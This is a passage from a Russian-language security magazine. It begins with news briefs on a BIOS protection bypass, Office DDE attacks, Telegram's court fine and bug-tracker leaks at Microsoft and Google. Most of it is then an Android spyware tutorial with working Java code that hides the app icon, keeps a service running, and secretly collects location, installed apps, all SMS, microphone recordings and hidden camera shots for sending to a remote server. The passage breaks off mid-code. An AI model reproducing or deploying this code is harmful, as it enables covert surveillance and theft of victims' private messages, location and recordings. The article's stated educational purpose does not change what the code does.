лет  назад,  такие  как  защит ные  биты  для  SMM  и  SPI  (BLE,  BWE,  PRx).  А  так
как активной защиты памяти на аппа рат ном уров не нет, устрой ства этих про‐ 
изво дите лей в теории ста новят ся лег кими мишеня ми для ата кующих.

Те перь иссле дова ние Мат росова   спе циалист ком пании Embe‐
di Алек сандр Ермо лов. Эксперт обо шел защиту  Intel Boot Guard на материн‐ 
ской пла те Gigabyte GA‐H170‐D3H и в про цес се выяс нил, что проб лема, ско‐ 
рее все го, рас простра няет ся даже даль ше, чем пред полага лось изна чаль но.

про дол жил

Ер молов  свя зал ся  с  пред ста вите лями  AMI,  что бы  уве домить  их  о  проб‐ 
леме,  но  ему  сооб щили,  что  уяз вимос ти  уже  были  устра нены  и  пос ледняя
вер сия AMI BIOS, дос тупная для про изво дите лей, лишена таких недос татков.
Ког да иссле дова тель решил про верить работу пат ча, ока залось, что исправ‐ 
ление, по сути, лишь ухуд шило и без того сквер ную ситу ацию.

К КОН ЦУ 2018 ГОДА KOTLIN ОБОЙ ДЕТ JAVA ПО ПОПУЛЯР ‐
НОСТИ
 → Ана лити ки ком пании Realm сооб щили, что язык прог рамми рова ния Kotlin набира ет популяр‐ 

ность  сре ди  Android‐раз работ чиков  с  огромной  ско ростью.  Толь ко  вес ной  2017  года  на  кон‐ 
ферен ции Google I/O 2017 было объ явле но о том, что Kotlin будет офи циаль но исполь зовать ся
для раз работ ки под Android, и вот он уже гро зит ся потес нить Java с пер вого мес та.

В  мае  2017  года,  до  Google  I/O,  Kotlin  исполь зовали    девело перов,  а  к  кон цу  сен‐ 
тября 2017 года этот показа тель удво ился и сос тавил  .

7,4%
14,7%

К декаб рю 2018 года доля Kotlin сос тавит   рын ка, то есть Java потеря ет свое лидерс тво.51%

В нас тоящее вре мя Kotlin наибо лее популя рен в Гер мании, Япо нии, Индии, США и Бра зилии.

ОФИСНЫЕ
РАЗБОРКИ
Од на из наибо лее извес тных так тик рас простра нения мал вари очень прос та:
зло умыш ленни ки хит ростью вынуж дают сво их жертв откры вать докумен ты Mi‐
crosoft Office, содер жащие вре донос ные мак росы или OLE‐объ екты. Эти фун‐ 
кции  дав но  отклю чены  по  умол чанию  и  тре буют  отдель ной  акти вации,  а  об
опас ности  вклю чения  мак росов  уже  неп лохо  осве дом лены  даже  рядовые
поль зовате ли.

Но  теперь  прес тупни ки  при дума ли  кое‐что  еще.  Новая  тех ника  атак
базиру ется  на  доволь но  ста рой  фун кции  Microsoft  Dynamic  Data  Exchange
(DDE),  которая  поз воля ет  одним  при ложе ниям  Office  заг ружать  дан ные
из дру гих при ложе ний Office. К при меру,  таб лица в фай ле Word может авто‐ 
мати чес ки  обновлять ся  при  каж дом  откры тии  фай ла,  и  дан ные  будут  «под‐ 
тягивать ся» из фай ла Excel.

По  сути,  DDE  поз воля ет  поль зовате лю  встро ить  в  документ  кас томное
поле,  где  мож но  задать  мес тополо жение  дан ных,  которые  сле дует  под гру‐ 
жать.  Проб лема  в  том,  что  зло умыш ленни ки  научи лись  исполь зовать  DDE
не для  откры тия  дру гих  при ложе ний Office,  а  для  запус ка  коман дной  стро ки
и выпол нения вре донос ного кода.

О  том,  что  хакеры  ста ли  экс плу ати ровать  DDE  для  атак,  пре дуп редили
иссле дова тели сра зу ряда ком паний, сре ди которых SensePost и Cisco Talos.
Ана лити ки  SensePost  и  вов се  сооб щили,  что  пытались  донес ти  всю  серь‐ 
езность  проб лемы  до  раз работ чиков  Microsoft,  но  те  отка зались  приз нать
это  уяз вимостью.  Экс плу ата ция  DDE  для  атак —  это  дей стви тель но  не  уяз‐ 
вимость в клас сичес ком понима нии это го сло ва, ведь Office чес тно пре дуп‐ 
режда ет поль зовате ля о потен циаль ной опас ности. Ситу ация поч ти ана логич‐ 
на исполь зованию мак росов и OLE.

По  мне нию  экспер тов,  основная  проб лема  зак люча ется  в  том,  что  поль‐ 
зовате ли,  которые  час то  работа ют  с  раз личны ми  докумен тами  и  DDE,
не  обра щают  никако го  вни мания  на  пре дуп режда ющие  сооб щения.  Такие
пре дуп режде ния  уже  ста ли  чем‐то  нас толь ко  при выч ным,  что  их  зак рыва ют
в бук валь ном смыс ле не гля дя.

Сто ит отме тить, что DDE исполь зуют во вре донос ных целях не пер вый год,
все  началось  еще  в  девянос тых,  ког да  фун кция  толь ко  появи лась.  Одна ко
лишь вес ной 2017 года ИБ‐спе циалис ты замети ли,  что прес тупни ки решили
вспом нить «хорошо забытое ста рое».

Свои опа сения по это му поводу озву чили ком пании SensePost и Cisco Ta‐
los.  Кро ме  того,  ИБ‐иссле дова тель  Кевин  Бомонт  (Kevin  Beaumont)  обна‐ 
ружил, что ата ки с исполь зовани ем DDE уже прак тику ют серь езные хакер ские
груп пы,  в  час тнос ти  груп пиров ка FIN7, извес тная сво ими мас штаб ными ата‐ 
ками на финан совые орга низа ции.

Кро ме  того,  экспер ты  Internet  Storm Center  сооб щили,  что  один  из  круп‐ 
ней ших  бот нетов  мира,  Necurs,  нас читыва ющий  более  шес ти  мил лионов
заражен ных  машин,  недав но  начал  экс плу ати ровать  DDE  для  рас простра‐ 
нения шиф роваль щика Locky и бан ков ско го тро яна TrickBot.

 ДОМЕНОВ, РАС ПРОСТРА НЯВ ШИХ КОН ТРА ФАКТ,
БЛО КИРО ВАЛИ ПРА ВООХ РАНИТЕ ЛИ
20 520

 → О  про веде нии  опе рации  In  Our  Sites  (Project  TransAtlantic  VIII)  отчи тались  пред ста вите ли
Евро пола, Интерпо ла, ФБР, Минис терс тва юсти ции США, коор динаци онно го цен тра при Наци‐ 
ональ ном  цен тре  интеллек туаль ной  собс твен ности  (NIPRCC),  а  так же  пра воох раните ли
из 27 стран ЕС.

В ходе опе рации влас ти кон фиско вали более   доменов, рас простра няв ших раз личные
кон тра фак тные  товары,  начиная  от  юве лир ных  изде лий  и  спор тивной  одеж ды  и  закан чивая
элек тро никой и медицин ски ми пре пара тами. Име на и адре са кон крет ных сай тов пока не рас‐ 
кры вают ся,  так  как мно гие  стра ны еще про водят рас сле дова ния. По дан ным Меж дународ ной
ассо циации  по  товар ным  зна кам,  толь ко  в  2016  году  ущерб  от  тор говли  кон тра фак том  оце‐ 
нивал ся в   мил лиар дов дол ларов.
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TELEGRAM
ОШТРАФОВАЛИ
16  октября  2017  года  мировой  судья  Мещан ско го  рай она  Мос квы  Юлия
Даниль чик оштра фова ла мес сен джер Telegram на 800 тысяч руб лей за совер‐ 
шение  адми нис тра тив ного  пра вона руше ния:  отказ  передать  ФСБ  клю чи
шиф рования  от  перепис ки  поль зовате лей.  Пред ста вите ли  Telegram
на заседа нии не при сутс тво вали.

Судья уточ нила, что взыс канный штраф пой дет в доход бюд жета Мос квы.
«Интерфакс» сооб щает, что в пос танов лении суда ответчи ку так же разъ ясня‐ 
ется  ответс твен ность  за  неис полне ние  судеб ного  решения  и  воз можность
его обжа лова ния в Мещан ском суде Мос квы.

800  тысяч  руб лей  —  это  минималь ное  наказа ние,  пре дус мотрен ное
в  статье  13.31  (часть  2.1)  КоАП  РФ  (неис полне ние  орга низа тором  рас‐ 
простра нения  информа ции  в  сети  «Интернет»  обя зан ности  пре дос тавлять
в  федераль ный  орган  исполни тель ной  влас ти  в  области  обес печения
безопас ности информа цию, необ ходимую для декоди рова ния при нима емых,
переда ваемых,  дос тавля емых  и  (или)  обра баты ваемых  элек трон ных  сооб‐ 
щений). Мак сималь ная сум ма штра фа сос тавля ет один мил лион руб лей.

На пом ню,  что  Telegram  был  зарегис три рован  в  реес тре  орга низа торов
рас простра нения информа ции минув шим летом, но тог да Павел Дуров под‐ 
черки вал, что ком пания тем самым не берет на себя никаких допол нитель ных
обя затель ств и не собира ется пре дос тавлять кому‐либо дос туп к перепис ке
поль зовате лей.

В  ито ге  Telegram  Messenger  LLP  дали  десять  дней  на  обжа лова ние
решения  суда.  В  про тив ном  слу чае,  ког да  решение  всту пит  в  силу,  Рос‐ 
комнад зор  даст  ком пании  еще  пят надцать  дней  на  выпол нение  тре бова ний
закона. Если клю чи так и не будут переда ны ФСБ, Telegram может быть заб‐ 
локиро ван на тер ритории РФ.

Па вел Дуров про ком менти ровал про исхо дящее на сво ей стра нице «Вкон‐ 
такте». Он пишет:

«Тре бова ния  ФСБ  нере али зуемы  тех ничес ки,  они  про тиво- 
речат  23  статье  Кон сти туции  РФ:  „Каж дый  име ет  пра во  на  тай ну
перепис ки,  телефон ных  перего воров,  поч товых,  телег рафных  и  иных
сооб щений“.

Кон сти туция — основной закон Рос сии, который име ет пря мое дей- 
ствие и сто ит выше дру гих уточ няющих ее законов.

Стрем ление  ФСБ  получить  дос туп  к  лич ной  перепис ке  явля ется
попыт кой  рас ширить  свое  вли яние  за  счет  кон сти туци онно го  пра ва
граж дан. Сегод няшнее решение Мещан ско го суда может быть обжа- 
лова но до  тех пор,  пока иск ФСБ не будет рас смот рен судь ей,  зна- 
комым с основным законом Рос сии — ее Кон сти туци ей».

В  ито ге  пред став лять  коман ду  мес сен дже ра  Telegram  в  деле  про тив  ФСБ
Рос сии будет меж дународ ная пра воза щит ная орга низа ция «Аго ра».

 → «Это очень опти мис тичес кая точ ка зре ния, но я наде юсь, что через десять‐пят надцать лет
физик смо жет поп росить компь ютер решить слож ную физичес кую задачу, а сам ляжет спать.
Тем вре менем сис тема про ана лизи рует все необ ходимые докумен ты, „про чита ет“ их и най дет
нес коль ко  воз можных  сце нари ев  решения  воп роса,  от  которых физик  смо жет  отталки вать ся.
По‐моему, впол не оче вид но, что тех нологии, о которых я говорю, в обоз римом будущем смо гут
заменить собой какие‐то задачи, но не занять сами дол жнос ти. Поэто му рабочих мест не ста‐ 
нет мень ше. На самом деле их ста нет боль ше. Хотя мы можем видеть, как некото рые рабочие
мес та ухо дят в прош лое, так же мож но заметить, что куда боль шее количес тво новых рабочих
мест воз ника ет за счет рас ширения меж дисцип линар ных свя зей и так далее. В этом отно шении
я опти мист»,

, пред седатель совета дирек торов ком пании Alphabet. О будущем ИИ.— Эрик Шмидт

УТЕЧКИ MICROSOFT И
GOOGLE
От уте чек дан ных не зас тра хован ник то, и инци ден ты, про изо шед шие с ком‐ 
пани ями Google и Microsoft, наг лядно это под твержда ют.

В  этом  месяце  ста ло  извес тно,  что  еще  в  2013  году  зло умыш ленни ки
похити ли  у  ком пании  БД  внут ренне го  баг‐тре кера  Microsoft  и  руководс тво
пред почло  скрыть  этот  инци дент.  О  слу чив шемся  в  Microsoft  жур налис там
Reuters рас ска зали сра зу пятеро быв ших сот рудни ков ком пании.

По  дан ным Reuters,  за  ата кой  сто яла  кибер шпи онская  груп па,  извес тная
под име нами Wild Neutron, Morpho, Jripbot, Butterfly, ZeroWing или Sphinx Moth.
Дан ная груп пиров ка не раз взла мыва ла тех нологи чес кие ком пании из Крем‐ 
ниевой  долины,  в  том  чис ле  Twitter,  Facebook  и  Apple.  Ког да  в  фев‐ 
рале 2013 года ста ло извес тно об этих ата ках, пред ста вите ли Microsoft заяви‐ 
ли,  что  груп пиров ка  ата кова ла  и  их  ком панию  тоже,  одна ко  никакие  поль‐ 
зователь ские дан ные в резуль тате инци ден та не пос тра дали.

Те перь  Reuters  цитиру ет  сло ва  сот рудни ков  Microsoft  о  том,  что
в  2013  году  ком панию  ата кова ла  «очень  изощ ренная  хакер ская  груп па»,
которая сумела похитить базу дан ных внут ренне го баг‐тре кера ком пании, где
хра нилась  информа ция  о  най ден ных  багах  и  уяз вимос тях  (исправ ленных
и еще нет) и пат чах для них. По сло вам сот рудни ков, баг‐тре кер был защищен
очень пло хо, для дос тупа к нему тре бова лось лишь знать пароль.

Ког да ком про мета цию обна ружи ли, было при нято решение не пре давать
инци дент  огласке,  одна ко  Microsoft  про вела  рас сле дова ние  слу чив шегося,
опа саясь, что зло умыш ленни ки исполь зуют укра ден ные дан ные об уяз вимос‐ 
тях для раз работ ки экс пло итов. Пред ста вите ли Microsoft даже изу чали ата ки
на  дру гие  фир мы,  раз бира ясь,  не  экс плу ати рова лись  ли  во  вре мя  них  те
самые уяз вимос ти.

Со обща ется,  что  все  уяз вимос ти,  информа цию  о  которых  уда лось
похитить  зло умыш ленни кам,  были  устра нены  в  бли жай шие  месяцы  пос ле
инци ден та.  И  хотя  за  это  вре мя  хакеры  дей стви тель но  начали  экс плу ати‐ 
ровать некото рые из тех проб лем, в Microsoft полага ют, что прес тупни ки мог‐ 
ли  узнать  о  багах  из  дру гих  источни ков,  а  пря мой  вза имос вязи  с  утеч кой
здесь нет.

С  очень  похожей  проб лемой  стол кну лась  в  этом  месяце  и  ком пания
Google. Румын ский Python‐раз работ чик Алекс Бир сан (Alex Birsan) обна ружил
сра зу  нес коль ко  проб лем  в  баг‐тре кере  Google,  который  боль ше  известен
под  наз вани ем  Buganizer.  Иссле дова тель  нашел  ряд  оши бок,  которые  поз‐ 
воляли неав торизо ван ному ата кующе му про ник нуть в самое сер дце сис темы
и  получить  дос туп  к  базе  дан ных  уяз вимос тей,  в  том  чис ле  еще  не  исправ‐ 
ленных.

Ря довые  поль зовате ли  и  даже  ИБ‐спе циалис ты  прак тичес ки  не  име ют
дос тупа  к  баг‐тре керу.  Даже  иссле дова телям  обыч но  выда ют  дос туп  лишь
к отдель ным топикам (багам, о которых те сооб щили). Но Бир сан обна ружил
воз можность под писать ся на любую вет ку и получить дос туп к чему угод но.

Меж ду 27 сен тября и 4 октября 2017 года эксперт нашел сра зу три проб‐ 
лемы в сис теме отсле жива ния оши бок Google:

спо соб зарегис три ровать фей ковый ящик @google.com;•
спо соб  под писать ся  на  любую  тему  на  тре кере  и  получать  уве дом ления
о багах, к которым не дол жно было быть дос тупа;

•

спо соб обма нуть API Buganizer, что бы получить дос туп ко всем уяз вимос‐ 
тям вооб ще.

•

Бир сан сооб щил, что не заметил сле дов экс плу ата ции этих проб лем, то есть
он полага ет, что выявил спо соб про ник новения в нед ра баг‐тре кера пер вым.
Так же в сво ем отче те спе циалист отме чает, что обна ружен ные им уяз вимос‐ 
ти,  конеч но,  пред став ляли  огромную  опас ность,  но  экс плу ати ровать  их
на прак тике, что бы най ти на Buganizer неч то полез ное, было слож но. Так, он
под счи тал,  что  потен циаль ному  ата кующе му  приш лось  бы  переби рать
баг‐репор ты  один  за  дру гим,  прак тичес ки  всле пую,  тог да  как  на  Buganizer
пос тупа ет две‐три тысячи сооб щений в час и лишь 0,1% из них пуб личные.

В нас тоящее вре мя все выяв ленные спе циалис том проб лемы уже  устра‐ 
нены (инже неры Google «зак рыли дыр ки» за счи таные часы). Бир сан получил
от Google воз награж дение:  за пер вый баг — 3133,7,  за вто рой — 5000 и  за
тре тий — 7500 дол ларов.

 ЕВРО ПЕЙ СКИХ САЙ ТОВ TP‐LINK РАС ПРОСТРА НЯЮТ
УСТА РЕВ ШИЕ ПРО ШИВ КИ
30%

Не зави симый ИБ‐спе циалист Дэни ел Алек сандер сен (Daniel Aleksandersen) выяс нил, что шанс
ска чать  уста рев шую  про шив ку  с  реги ональ ного  сай та  ком пании  TP‐Link  сос тавля ет  .
К  сожале нию,  узнать  об  этом иссле дова телю довелось  на  собс твен ном опы те,  ког да  он  при‐ 
обрел репитер про изводс тва TP‐Link и попытал ся обно вить ПО. Алек сандер сен обна ружил, что
новей шую про шив ку мож но  най ти  лишь на  сай тах Фин ляндии, Чехии, Фран ции, Ита лии,  Гол‐ 
ландии и Румынии.

29,63%

По мне нию спе циалис та, вина лежит на самой ком пании TP‐Link, так как она, в отли чие от кон‐ 
курен тов (ASUS, Linksys, Netgear), не пред лага ет поль зовате лям еди ного «гло баль ного» ресур‐ 
са для заг рузки ПО. Вмес то это го TP‐Link име ет мно жес тво   сай тов, которые, оче‐ 
вид но, не может под держи вать.

региональных
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Android при нято называть рас садни ком вирусов и бэк доров.
Каж дый день здесь   более 8 тысяч новых образцов
мал вари. И эти циф ры пос тоян но рас тут. Но задумы вал ся ли
ты,  как  эта  мал варь  работа ет?  Сегод ня  мы  раз берем ся
с этим, изу чив при ложе ние для Android, спо соб ное собирать
информа цию  об  устрой стве,  его  мес тополо жении,  делать
фотог рафии  и  записы вать  аудио.  И  все  это  с  уда лен ным
управле нием.

вы явля ют

Итак,  наша  задача —  разоб рать ся,  как  работа ют  сов ремен ные  злов редные
при ложе ния.  А  луч ший  спо соб  это  сде лать  —  пос мотреть,  как  соз дает ся
похожий софт. Как и боевой злов ред, наш при мер при желании смо жет наб‐ 
людать за целевым устрой ством и переда вать информа цию о нем на сер вер.

Воз можнос ти будут сле дующие:
сбор информа ции о мес тополо жении;•
по луче ние спис ка уста нов ленных при ложе ний;•
по луче ние СМС;•
за пись аудио;•
съ емка зад ней или фрон таль ной камерой.•

Все это при ложе ние будет отправ лять на уда лен ный сер вер, где мы смо жем
про ана лизи ровать резуль таты его работы.

WARNING

Важ но!  Соз дание  и  рас простра нение  вре донос‐ 
ных  прог рамм  кара ется  лишени ем  сво боды
до четырех лет (статья 273). Мы не хотим, что бы
ты сло мал себе жизнь в мес тах не столь отда лен‐ 
ных,  поэто му  пуб лику ем  статью  исклю читель но
в  обра зова тель ных  целях.  Ведь  луч ший  спо соб
разоб рать ся  в  работе  злов редно го  ПО  —
это узнать, как оно соз дает ся.

КАРКАС
По понят ным при чинам я не смо гу при вес ти пол ный код при ложе ния в статье,
поэто му некото рые задачи тебе при дет ся выпол нить самому (для это го пот‐ 
ребу ются кое‐какие зна ния в раз работ ке при ложе ний для Android).

На  этом  эта пе  задача  сле дующая:  соз дать  при ложе ние  с  пус тым  (или
прос то безобид ным) интерфей сом. Сра зу пос ле запус ка при ложе ние скро ет
свою икон ку, запус тит сер вис и завер шится (сер вис при этом будет про дол‐ 
жать работать).

Нач нем.  Соз дай  при ложе ние,  ука зав  в  манифес те  сле дующие  раз‐ 
решения:

<uses‐permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses‐permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses‐permission android:name="android.permission.INTERNET" />
<uses‐permission android:name="android.permission.CAMERA" />
<uses‐permission android:name="android.permission.RECORD_AUDIO" />
<uses‐permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses‐permission android:name="android.permission.READ_PHONE_STATE" />
<uses‐permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /
>
<uses‐permission android:name="android.permission.READ_CONTACTS" />
<uses‐permission android:name="android.permission.READ_SMS" />

В   ука жи   и  . Так
ты  изба вишь  при ложе ние  от  необ ходимос ти  зап рашивать  раз решения
во  вре мя  работы  (22 —  это  Android  5.1,  обя затель ный  зап рос  раз решений
появил ся в 23 — Android 6.0, но работать при ложе ние будет в любой вер сии).

build.gradle compileSdkVersion 22 targetSdkVersion 22

Соз дай пус тую Activity и Service. В метод onStartCommand сер виса добавь
стро ку  . Это зас тавит сис тему переза пус кать
его в слу чае неп редна мерен ного завер шения.

return Service.START_STICKY

До бавь их опи сание в манифест  (здесь и далее наше при ложе ние будет
называть ся com.example.app):

<activity
   android:name="com.example.app.MainActivity"
   android:label="@string/app_name" >
   <intent‐filter>
       <action android:name="android.intent.action.MAIN" />
       <category android:name="android.intent.category.LAUNCHER" />
   </intent‐filter>
</activity>
<service
   android:name="com.example.app.MainService"
   android:enabled="true"
   android:exported="false">
</service>

Всю злоб ную работу мы будем делать внут ри сер виса, поэто му наша Activity
будет очень прос та:

void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState)
   // Запускаем сервис
   startService(new Intent(this, MainService.class));
   // Отключаем Activity
   ComponentName cn = new ComponentName("com.example.app", "com.example.
app.MainActivity");
   pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABL
ED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}

Этот  код  запус тит  сер вис  сра зу  пос ле  запус ка  при ложе ния  и  отклю чит
активность.  Побоч ным  эффектом  пос ледне го  дей ствия  ста нет  завер шение
при ложе ния и исчезно вение икон ки из лаун чера. Сер вис про дол жит работу.

ИНФОРМАЦИЯ О МЕСТОПОЛОЖЕНИИ
Те перь мы дол жны добавить в сер вис код, который будет собирать инте ресу‐ 
ющую нас информа цию.

Нач нем  с  опре деле ния  мес тополо жения.  В  Android  есть  нес коль ко  спо‐ 
собов  получить  текущие  коор динаты  устрой ства:  GPS,  по  сотовым  выш кам,
по Wi‐Fi‐роуте рам. И с каж дым из них мож но работать дву мя спо соба ми: либо
поп росить сис тему опре делить текущее мес тополо жение и выз вать по окон‐ 
чании опе рации наш кол бэк, либо спро сить ОС о том, какие коор динаты были
получе ны  в  пос ледний  раз  (в  резуль тате  зап росов  на  опре деле ние  мес‐ 
тополо жения от дру гих при ложе ний, нап ример).

В нашем слу чае вто рой спо соб нам ного удоб нее. Он быс трый, абсо лют но
незаме тен для поль зовате ля (не при водит к появ лению икон ки в стро ке сос‐ 
тояния) и не жрет акку муля тор. Кро ме того, его очень прос то исполь зовать:

Location getLastLocation(Context context) {
   LocationManager lManager = (LocationManager) context.getSystemService(
Context.LOCATION_SERVICE);
   android.location.Location locationGPS = lManager.getLastKnownLocation(
LocationManager.GPS_PROVIDER);
   android.location.Location locationNet = lManager.getLastKnownLocation(
LocationManager.NETWORK_PROVIDER);
   long GPSLocationTime = 0;
   if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
   long NetLocationTime = 0;
   if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
   Location loc;
   if ( 0 < GPSLocationTime ‐ NetLocationTime ) {
       loc = locationGPS;
   } else {
       loc = locationNet;
   }
   if (loc != null) {
       return loc;
   } else {
       return null;
   }
}

Дан ная фун кция  спра шива ет  сис тему  о  пос ледних  коор динатах,  получен ных
с  помощью  опре деле ния  мес тополо жения  по  сотовым  выш кам  и  по  GPS,
затем  берет  самые  све жие  дан ные  и  воз вра щает  их  в  фор ме  объ екта
Location.

Да лее мож но извлечь широту и дол готу и записать их в файл внут ри при‐ 
ват ного катало га нашего при ложе ния:

Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
try {
   OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.
openFileOutput(locationFile, Context.MODE_PRIVATE));
   outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
   outputStreamWriter.close();
}
catch (IOException e) {}

Ког да  при дет  вре мя  отправ лять  дан ные  на  сер вер, мы  прос то  отда дим  ему
этот и дру гие фай лы.

СПИСОК УСТАНОВЛЕННЫХ ПРИЛОЖЕНИЙ
По лучить спи сок уста нов ленных при ложе ний еще про ще:

void dumpSMS(Context context) {
   String appsFile = context.getApplicationInfo().dataDir + "/apps"
   final PackageManager pm = context.getPackageManager();
   List<ApplicationInfo> packages = pm.getInstalledApplications(Packag
eManager.GET_META_DATA);
   try {
       PrintWriter pw = Files.writeLines(appsFile);
       for (ApplicationInfo packageInfo : packages) {
           if (!isSystemPackage(packageInfo))
               pw.println(pm.getApplicationLabel(packageInfo) + ": " + 
packageInfo.packageName);
       }
       pw.close();
   } catch (IOException e) {}
}
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
   return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}

Ме тод получа ет спи сок всех при ложе ний и сох раня ет его в файл apps внут ри
при ват ного катало га при ложе ния.

ДАМП СМС
Уже  слож нее.  Что бы  получить  спи сок  всех  сох ранен ных  СМС,  нам  необ‐ 
ходимо под клю чить ся к БД и прой тись по ней в поис ках нуж ных записей. Код,
поз воля ющий дам пнуть все СМС в файл:

void dumpSMS(Context context, String file, String box) {
   SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss"
, Locale.US);
   Cursor cursor = context.getContentResolver().query(Uri.parse(
"content://sms/" + box), null, null, null, null);
   try {
       PrintWriter pw = Files.writeLines(file);
       if (cursor != null && cursor.moveToFirst()) {
           do {
               String address = null;
               String date = null;
               String body = null;
               for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
                   switch (cursor.getColumnName(idx)) {
                       case "address":
                           address = cursor.getString(idx);
                           break;
                       case "date":
                           date = cursor.getString(idx);
                           break;
                       case "body":
                           body = cursor.getString(idx);
                   }
               }
               if (box.equals("inbox")) {
                   pw.println("From: " + address);
               } else {
                   pw.println("To: " + address);
               }
               String dateString = formatter.format(new Date(Long.valueOf(
date)));
               pw.println("Date: " + dateString);
               if (body != null) {
                   pw.println("Body: " + body.replace('\n', ' '));
               } else {
                   pw.println("Body: ");
               }
               pw.println();
           } while (cursor.moveToNext());
       }
       pw.close();
       cursor.close();
   } catch (Exception e) {}
}

Ис поль зовать его сле дует так:

// Сохраняем список всех полученных СМС
String inboxFile = context.getApplicationInfo().dataDir + "/sms_inbox"
dumpSMS(context, inboxFile, "inbox");
// Сохраняем список отправленных СМС
String sentFile = context.getApplicationInfo().dataDir + "/sms_sent";
dumpSMS(context, sentFile, "sent");

За писи в фай ле будут выг лядеть при мер но так:

From: Google
Date: 2017.02.24 06:49:55
Body: G‐732583 is your Google verification code.

ЗАПИСЬ АУДИО
За писать аудио с мик рофона мож но с помощью API MediaRecorder. Дос таточ‐ 
но передать ему парамет ры записи и запус тить ее с помощью метода 
.  Оста новить  запись  мож но  с  помощью  метода  .  Сле дующий  код
демонс три рует, как это сде лать. В дан ном слу чае мы исполь зуем отдель ный
спя щий  поток,  который  про сыпа ется  по  исте чении  задан ного  тайм‐аута
и оста нав лива ет запись:

start(
) stop()

void recordAudio(String file, final int time) {
   MediaRecorder recorder = new MediaRecorder();
   recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
   recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
   recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
   recorder.setOutputFile(file);
   try {
       recorder.prepare();
   } catch (IOException e) {}
   recorder.start();
   Thread timer = new Thread(new Runnable() {
       @Override
       public void run() {
           try {
               Thread.sleep(time * 1000);
           } catch (InterruptedException e) {
               Log.d(TAG, "timer interrupted");
           } finally {
               recorder.stop();
               recorder.release();
           }
       }
   });
   timer.start();
}

Ис поль зовать его мож но, нап ример, так:

DateFormat formatter = new SimpleDateFormat("yyyy‐MM‐dd‐HH‐mm‐ss", Locale.
US);
Date date = new Date();
String filePrefix = context.getApplicationInfo().dataDir + "/audio‐";
recordAudio(filePrefix + formatter.format(date) + ".3gp", 15);

Дан ный  код  сде лает  15‐секун дную  запись  и  помес тит  ее  в  файл  audio‐
ДАТА‐И‐ВРЕ МЯ.3gp.

Продолжение статьи →
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СЪЕМКА
С  камерой  слож нее  все го.  Во‐пер вых,  по‐хороше му  необ ходимо  уметь
работать  сра зу  с  дву мя  API  камеры:  клас сичес ким  и  Camera2,  который
появил ся в Android 5.0 и стал основным в 7.0. Во‐вто рых, API Camera2 час то
работа ет некор рек тно в Android 5.0 и даже в Android 5.1, к это му нуж но быть
готовым.  В‐треть их,  Camera2  —  слож ный  и  запутан ный  API,  осно ван ный
на  кол бэках,  которые  вызыва ются  в  момент  изме нения  сос тояния  камеры.
В‐чет вертых,  ни  в  клас сичес ком  API  камеры,  ни  в  Camera2  нет  средств
для скры той съем ки. Они оба тре буют показы вать превью, и это огра ниче ние
при дет ся обхо дить с помощью хаков.

Учи тывая,  что  с  Camera2  работать  нам ного  слож нее,  а  опи сать  нюан сы
работы с ней в рам ках дан ной статьи не пред став ляет ся воз можным, я прос то
при веду  весь  код  клас са  для  скры той  съем ки.  А  ты  можешь  либо  исполь‐ 
зовать его как есть, либо поп робу ешь разоб рать ся с ним самос тоятель но (но
я пре дуп реждаю: ты попадешь в ад):

public class SilentCamera2 {
   private Context context;
   private CameraDevice device;
   private ImageReader imageReader;
   private CameraCaptureSession session;
   private SurfaceTexture surfaceTexture;
   private CameraCharacteristics characteristics;
   private Surface previewSurface;
   private CaptureRequest.Builder request;
   private Handler handler;
   private String photosDir;
   public SilentCamera2(Context context) {
       this.context = context;
   }
   private final CameraDevice.StateCallback mStateCallback =
           new CameraDevice.StateCallback() {
       @Override
       public void onOpened(CameraDevice cameraDevice) {
           device = cameraDevice;
           try {
               surfaceTexture = new SurfaceTexture(10);
               previewSurface = new Surface(surfaceTexture);
               List<Surface> surfaceList = new ArrayList<>();
               surfaceList.add(previewSurface);
               surfaceList.add(imageReader.getSurface());
               cameraDevice.createCaptureSession(surfaceList, mCaptu
reStateCallback, handler);
           } catch (Exception e) {
           }
       }
       @Override
       public void onDisconnected(CameraDevice cameraDevice) {
       }
       @Override
       public void onError(CameraDevice cameraDevice, int error) {
       }
   };
   private CameraCaptureSession.StateCallback mCaptureStateCallback =
           new CameraCaptureSession.StateCallback() {
               @Override
               public void onConfigured(CameraCaptureSession captur
eSession) {
                   session = captureSession;
                   try {
                       request = device.createCaptureRequest(CameraDevice.
TEMPLATE_PREVIEW);
                       request.addTarget(previewSurface);
                       request.set(CaptureRequest.CONTROL_AF_TRIGGER,
                           CameraMetadata.CONTROL_AF_TRIGGER_START);
                       captureSession.setRepeatingRequest(request.build(),
mCaptureCallback, handler);
                   } catch (Exception e) {
                   }
               }
               @Override
               public void onConfigureFailed(CameraCaptureSession mCaptu
reSession) {}
           };
   private CameraCaptureSession.CaptureCallback mCaptureCallback =
           new CameraCaptureSession.CaptureCallback() {
       @Override
       public void onCaptureCompleted(CameraCaptureSession session,
                                    CaptureRequest request,
                                    TotalCaptureResult result) {
       }
   };
   private final ImageReader.OnImageAvailableListener mOnImageAvailab
leListener =
           new ImageReader.OnImageAvailableListener() {
       @Override
       public void onImageAvailable(ImageReader reader) {
           DateFormat dateFormat = new SimpleDateFormat(
"yyyy‐MM‐dd‐HH‐mm‐ss");
           Date date = new Date();
           String filename = photosDir + "/" + dateFormat.format(date) + 
".jpg";
           File file = new File(filename);
           Image image = imageReader.acquireLatestImage();
           try {
               ByteBuffer buffer = image.getPlanes()[0].getBuffer();
